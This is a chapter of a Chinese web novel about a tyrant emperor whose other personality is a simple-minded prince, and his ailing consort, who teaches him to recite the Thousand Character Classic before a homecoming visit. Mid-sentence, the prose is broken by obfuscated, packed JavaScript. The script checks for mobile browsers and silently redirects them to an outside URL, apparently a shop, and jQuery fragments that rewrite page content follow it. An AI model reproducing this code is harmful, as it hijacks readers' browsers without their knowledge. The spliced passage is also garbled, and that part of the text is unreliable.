7.回门

作品:《暴君但给清冷弟妻当三

    第七章


    萧琰:“高德,宣太医。”


    高德在门外打瞌睡,忽然听到萧琰的声音,被吓醒了,高德赶紧扶一下自己睡歪的帽子。


    这是怎么了?要请太医?


    但是高德还是忙不迭让底下的小太监去请太医,自己进去找萧琰。


    萧琰没醒的时候,没人敢进去伺候,这也是高德研究出来的保命方法。


    否则,萧琰睡梦中发疯是真的会砍人。


    高德也不让小太监小宫女们这时候进去伺候,否则杀得血呼刺啦的,怪瘆人。


    高德:“陛下是怎么了?是又头痛了?”


    萧琰摁着太阳穴,掀起阴鸷的眼眸,“滚出去。”


    高德刚进文华殿不到一刻又连滚带爬地出来,小太监们都屏息,不敢说话,陛下今天怕是又发疯了。


    张太医来了,高德才同张太医一起进入。


    屋里气氛压抑,张太医战战兢兢跪在萧琰面前,“请陛下伸手,臣给陛下诊脉。”


    萧琰伸手,张太医使劲看高德,高德:“?”


    高德也着急,说话啊,你看我干什么?


    不搞基谢谢。


    张太医见高德是懂不了他意思了,只能低头,“臣观陛下脉象,洪大而数,此乃少阴君火浮动,厥阴相火妄动之兆。”


    张太医顿了顿,又道:“陛下日理万机,心火亢于上,肝肾相火应之于下,故而……”


    张太医咽了咽口水,硬着头皮说出最后四个字。


    “龙根翘然。”


    高德前半段还在点头,忽然听到最后一句,眼睛瞪得像铜铃。


    不是,哥,你这也找太医诊脉啊?


    怎么,昨天被王妃踹下床了?


    我靠,翘着去找王妃,翘着回来啊。


    你都和晋王妃这样那样了,不会还当自己是处男吧?


    哦,傻子人格不是处男了,你暴君人格还是什么都不懂的处男是吧?


    萧琰的声音极冷,带着几分不耐烦:“说朕应该吃什么药?”


    张太医:“……”


    绝育药?


    张太医:“陛下可以用五指疏解,也可以……”


    高德察觉到张太医要说什么,疯狂暗示,别说啊,再说下去你就没命了。


    张太医看到高德的眼神,背后都冒了一层冷汗,他居然差点儿妄议国事。


    皇帝娶妻纳妃不仅是帝王的家事,也是国事。


    只是他们这位帝王讨厌自己被拿捏,也不近女色和男色。


    萧琰沉沉的目光却已经压过来,“也可以什么?”


    张太医话锋一转,连忙道,“可以洗冷水浴。”


    萧琰:“下去吧,高德宣旨今日免朝。”


    张太医和高德一起连滚带爬地出了文华殿。


    小太监眼观鼻鼻观心,今天连滚带爬的是两个人,文华殿死亡率飙升。


    好想请假啊。


    小太监转向高德,“干爹,我想……”


    高德:“你不想。”


    小太监:“干爹,你只有我一个儿子。”


    高德:“叫爹也没用。”


    小太监苦着一张脸,“我叫你爹,你也没鸟生啊。”


    高德:“……”


    高德一脚踹上小太监的腿窝,“滚犊子。滚,滚远些,别让我看到你。”


    萧琰洗了冷水澡。


    没用。


    他还是难受。


    那暴戾情绪疯涨,像是有什么东西在胸腔里横冲直撞,找不到出口。他很想把张太医叫回来砍了。


    昏庸之辈。


    朕迟早把这些昏庸之人全都砍了。


    萧琰摁着突突跳动的太阳穴,脸色阴沉得能滴出水来。


    *


    宋清砚睡醒,身边依旧没人。


    萧绥宁还是和昨日一样找不到人,宋清砚用了早膳,靠在临床软榻上翻书。


    元宝进来听到宋清砚轻咳,连忙去帮宋清砚关窗。


    “公子,你又贪看这点景色。”


    宋清砚:“你取披风来,别关窗。”


    宋清砚很喜欢雪芜院的几株老梅,枝干虬曲,姿态古拙。


    元宝抱怨:“那傻子又不知哪里去了,成天玩,都忘了自己是成亲的人。”


    宋清砚翻了一页书,“他是稚童心性罢了,他爱玩就玩。”


    “总不能守着我这样一个病人。”


    宋清砚今日脸色又比昨日苍白了几分,只有轻咳的时候,眉梢眼尾才会漫上病态的潮红。


    元宝听到这话又难受了,“公子,我守着你。”


    宋清砚轻笑:“嗯。”


    “砚砚,砚砚。”宋清砚刚应了元宝一声,就听到几声雀跃欢呼的声音。


    声音带着傻气的疏朗。


    萧绥宁的脸忽然出现在窗前,头顶是不知道哪里弄的杂草。


    萧绥宁把梅花举到宋清砚面前。


    那梅枝上开着满满的红梅,花瓣上还带着雪,被薄薄的日光一照,晶莹剔透。


    萧绥宁的眼睛亮亮地看着宋清砚,语气里满是期待。


    “砚砚,你喜欢吗?我给你折的。”


    宋清砚愣了愣,没想到刚说到傻子,傻子就出现了。


    宋清砚素手拂掉萧绥宁头顶的草,宋清砚轻声,“嗯,喜欢。”


    话音刚落,宋清砚又咳了起来,这次咳居然有些止不住。


    萧绥宁听到宋清砚咳,着急上来想抱宋清砚。


    元宝差点被萧绥宁的动作吓死,“殿下,你身上太冷,会冷到公子,你先去烘暖和再来。”


    本来公子昨天去找这个傻子就有些受凉,再被这个傻子抱一下,必定会病得更厉害。


    萧绥宁也意识到自己现在不能抱宋清砚,折回里间去换衣服。


    换好衣服才又蹲在临床软榻旁边,牵起宋清砚的手,放到自己脑袋上。


    宋清砚垂眸看大狗一般蹲着的萧绥宁,问,“你做什么?”


    萧绥宁:“我热了,我可以抱你了吗?”


    宋清砚手摸了摸炕沿,“上来。”


    萧绥宁眼睛一亮,抱住宋清砚,又把宋清砚的手放到自己的腰腹上,“我热的,给你暖手。”


    宋清砚拿过一本书,“我教你念书可好?”


    要推傻子上位,至少要让傻子看起来像是正常人。


    今天先教千字文,明日开始学学四书五经,也不要这个傻子理解,能背出来应付人就可以。


    萧绥宁乐意得不行,猛点脑袋,“好。”


    “天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。”


    萧绥宁学:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。”


    宋清砚带着萧绥宁读了一段,很满意。


    这傻子虽然傻,但学东西倒是不慢。


    宋清砚合上书,看向萧绥宁。


    “好了,现在背吧。”


    萧绥宁双眼空洞,张嘴又闭嘴,像是字烫嘴一般。


    宋清砚不解,“为什么不背?”


    萧绥宁:“天……”


    宋清砚:“对。”


    萧绥宁盯着宋清砚的唇瓣。


    盯着盯着,目光就移不开了。


    宋清砚唇瓣颜色淡淡的,说话的时候轻轻张合,露出一点贝齿。


    萧绥宁咽了咽口水。


    一把抱住宋清砚,凑上去,亲了一下。


    亲完了,抬起头,乐颠颠看着宋清砚,“砚砚,你嘴巴香香的,我不会背。”


    宋清砚:“……”


    宋清砚推开萧绥宁的大脑袋,低着头思考问题出在哪里,萧绥宁脑袋又凑上来,宋清砚又推开。


    背书不是看一遍就会背了吗?


    他还给萧绥宁读了一遍。


    萧绥宁为什么不会背?


    哦,他是个傻子。


    哦,那没事了。


    宋清砚把书给萧绥宁,“你自己看。”


    萧绥宁:“好。”


    用过晚膳后,宋清砚洗漱好,上床。


    萧绥宁也跟着上来,殷勤地给宋清砚揉腰,“砚砚,你今天好点了吗?你还难受吗?”


    宋清砚腰没有昨天酸了,“好些了。”


    萧绥宁贴在宋清砚的耳边,“那我们可以做之前做的事情吗?你给我浇浇水。”


    “好不好?”


    萧绥宁表情殷切地看着宋清砚,一副特别想要奖励的模样。


    宋清砚眸光轻转,“可以啊,你背会千字文就可以做之前做的事情。”


    萧绥宁眼里的光骤然黯淡,“很难背。”


    宋清砚:“做两次之前的事情。”


    萧绥宁眼睛又亮了,“我现在背。”


    宋清砚于是就听到萧绥宁磕磕巴巴读书,读两句像是记不得自己读了什么,又从第一遍开始读。


    整整读了一个时辰,萧绥宁还在“天地玄黄,宇宙洪荒。”


    宋清砚:“……”


    宋清砚对着萧绥宁勾了勾手,萧绥宁低头,宋清砚抚摸萧绥宁的脑袋,像是在看什么新奇的玩意儿。


    “笨蛋,你脑袋是赝品吗?”


    萧绥宁板着一张脸,“砚砚,你别打扰我,等我背完,你要给我浇两次水的。”


    宋清砚:“……”


    宋清砚很想说,就算不打扰萧绥宁,萧绥宁也背不出来。


    宋清砚:“睡觉,明天再背。”


    萧绥宁执着,“你先睡,我还要背。”


    宋清砚拉住萧绥宁的手,“你明天可以不出去吗?”


    萧绥宁想也不想就答应,“砚砚不想我出去,我就不出去。”


    宋清砚唇角才弯起一点弧度,顺便同萧绥宁多说了两句,“明日我们一起回承恩侯府,之后你想出去玩你再出去玩。”


    他嫁与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360989|199479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晋王算是出嫁,明日算是回门。


    当然宋清砚也不在乎这些礼法。


    只是,他明日要去承恩侯府将母亲的排位带到晋王府。


    他与萧绥宁也算是拜过堂,萧绥宁该同他一起去接娘亲。


    萧绥宁:“砚砚,你乖哦,你先睡,我很快就会背了。”


    宋清砚在萧绥宁断断续续的读书声中睡得很快。


    萧绥宁背完宋清砚要求的第一段,想让宋清砚给他浇水,一转身发现宋清砚都睡着了。


    萧绥宁放轻了动作,凑上去轻轻亲了一下宋清砚脸颊。


    小心翼翼把宋清砚抱在怀里,也睡着了。


    寅时萧绥宁再次醒来,离开晋王府,回到了皇宫。


    *


    朝堂上。


    文武百官分列两侧,正在商讨祭祀的事情。


    萧琰端坐在龙椅上,摁着眉心,脑袋里时不时蹦出一句,“天地玄黄。”


    一会儿又蹦出一句,“玉出昆冈”


    萧琰不知道自己怎么了,孩童启蒙的千字文像是刻进了脑海中。


    不仅如此,萧琰还觉得内心空荡荡的,像是忘记了什么一般。


    玉阶下,朝臣们还吵得不可开交,就差拿着笏板互殴。


    “臣以为,祭天当遵循祖制!”


    “祖制祖制,你就知道祖制,去年大旱,国库空虚,依祖制祭祀耗费几何你可算过?”


    “闭嘴。”轻飘飘两个字让殿中所有人都噤声低头。


    “一个祭祀的事情你们都要吵成这样。”萧琰缓缓抬头,目光缓缓扫过殿中每一个人。


    目光所到之处,朝臣们纷纷低下头去,不敢与他对视。


    萧琰:“朝廷养你们是让你们尸位素餐的?”


    “国库空虚,那就抄家,你……”萧琰点了点站在左边的第四排的官员。


    萧琰:“你上次报的军费比往年多了一百万两白银,今年只有小规模的战事,着督察院彻查。”


    被点到的官员瞬间跪下,大喊着,“陛下,臣冤枉啊。”


    “退朝。”萧琰才不管官员说自己冤枉,他还能冤枉了这些贪官。


    在萧琰离开后,众大臣再次汗流浃背,他们这位陛下当真是暴戾恣睢。


    高德跟在萧琰背后,摇头。


    暴君就是在养猪啊,萧琰缺钱了或者是触了萧琰的霉头,萧琰就会彻查贪污,赠送涉事官员一次九族消消乐体验卡。


    哦,九族消消乐还零差评。


    *


    已经接近午时,萧绥宁也没有出现。


    宋清砚垂眸,“不等了,走吧。”


    元宝又开始为宋清砚觉得委屈,这个傻子,明明都答应他家公子要同公子一起回去了。


    又说话不算话,早知道这样又何必给人希望。


    公子对那个傻子还不算好吗?


    这傻子竟也同宋潜一样是个狼心狗肺的东西。


    元宝给宋清砚披上狐裘,宋清砚走出雪芜院。


    今日并未落雪,阳光照在积雪上,晒融了雪,让空气中的冷意更重。


    元宝:“主子,我看你以后别给人取字了。”


    宋清砚轻笑,手指轻点了一下元宝的额头,温柔语气带着一点逗人的戏谑,“小元宝,你的名字也是我取的,你不是同宋潜不一样吗?”


    元宝看到宋清砚笑,也忍不住笑,“也是,有些人就是天生的白眼狼。”


    “那个傻子也是只白眼狼。”


    宋清砚听着元宝的絮絮叨叨有些好笑,“行了,留点力气,待会儿骂。”


    *


    萧琰回了文华殿批奏折,脑子里依旧时不时蹦出来的千字文。


    那种像是忘了什么事情的感觉更加强烈,不知为何,萧琰想起了那日宋清砚来见他,孤身走入雪中的画面。


    萧琰更加心绪不宁。


    萧琰丢了朱笔,无心再批奏折,“高德。”


    高德立即上前,等着萧琰差遣。


    萧琰往龙椅上一靠,“宋清砚今日在做什么?”


    高德:“晋王妃今日应当回门了。”


    萧琰皱眉:“回门?”


    高德:“是啊,晋王妃算是嫁入皇家,今日是晋王妃回承恩侯府的日子。”


    萧琰:“晋王可同晋王妃一同去了?”


    高德:“没有,晋王妃孤身一人回门。”


    萧琰的手不知何时捂住了心脏的位置。


    那里跳得有些快,又有些疼,像是有什么东西在揪着。


    萧琰冷声,“都出去。”


    萧琰也不知道今日是怎么了,为何如此奇怪,又为何听到宋清砚一个人回承恩侯府会如此难受。


    萧琰推开椅子踉跄起身,朝着文华殿里间走去。


    萧琰再次变得目光无神,像是一具行尸走肉。


    他打开室内的机关,一条又长又黑的甬道出现在萧琰面前。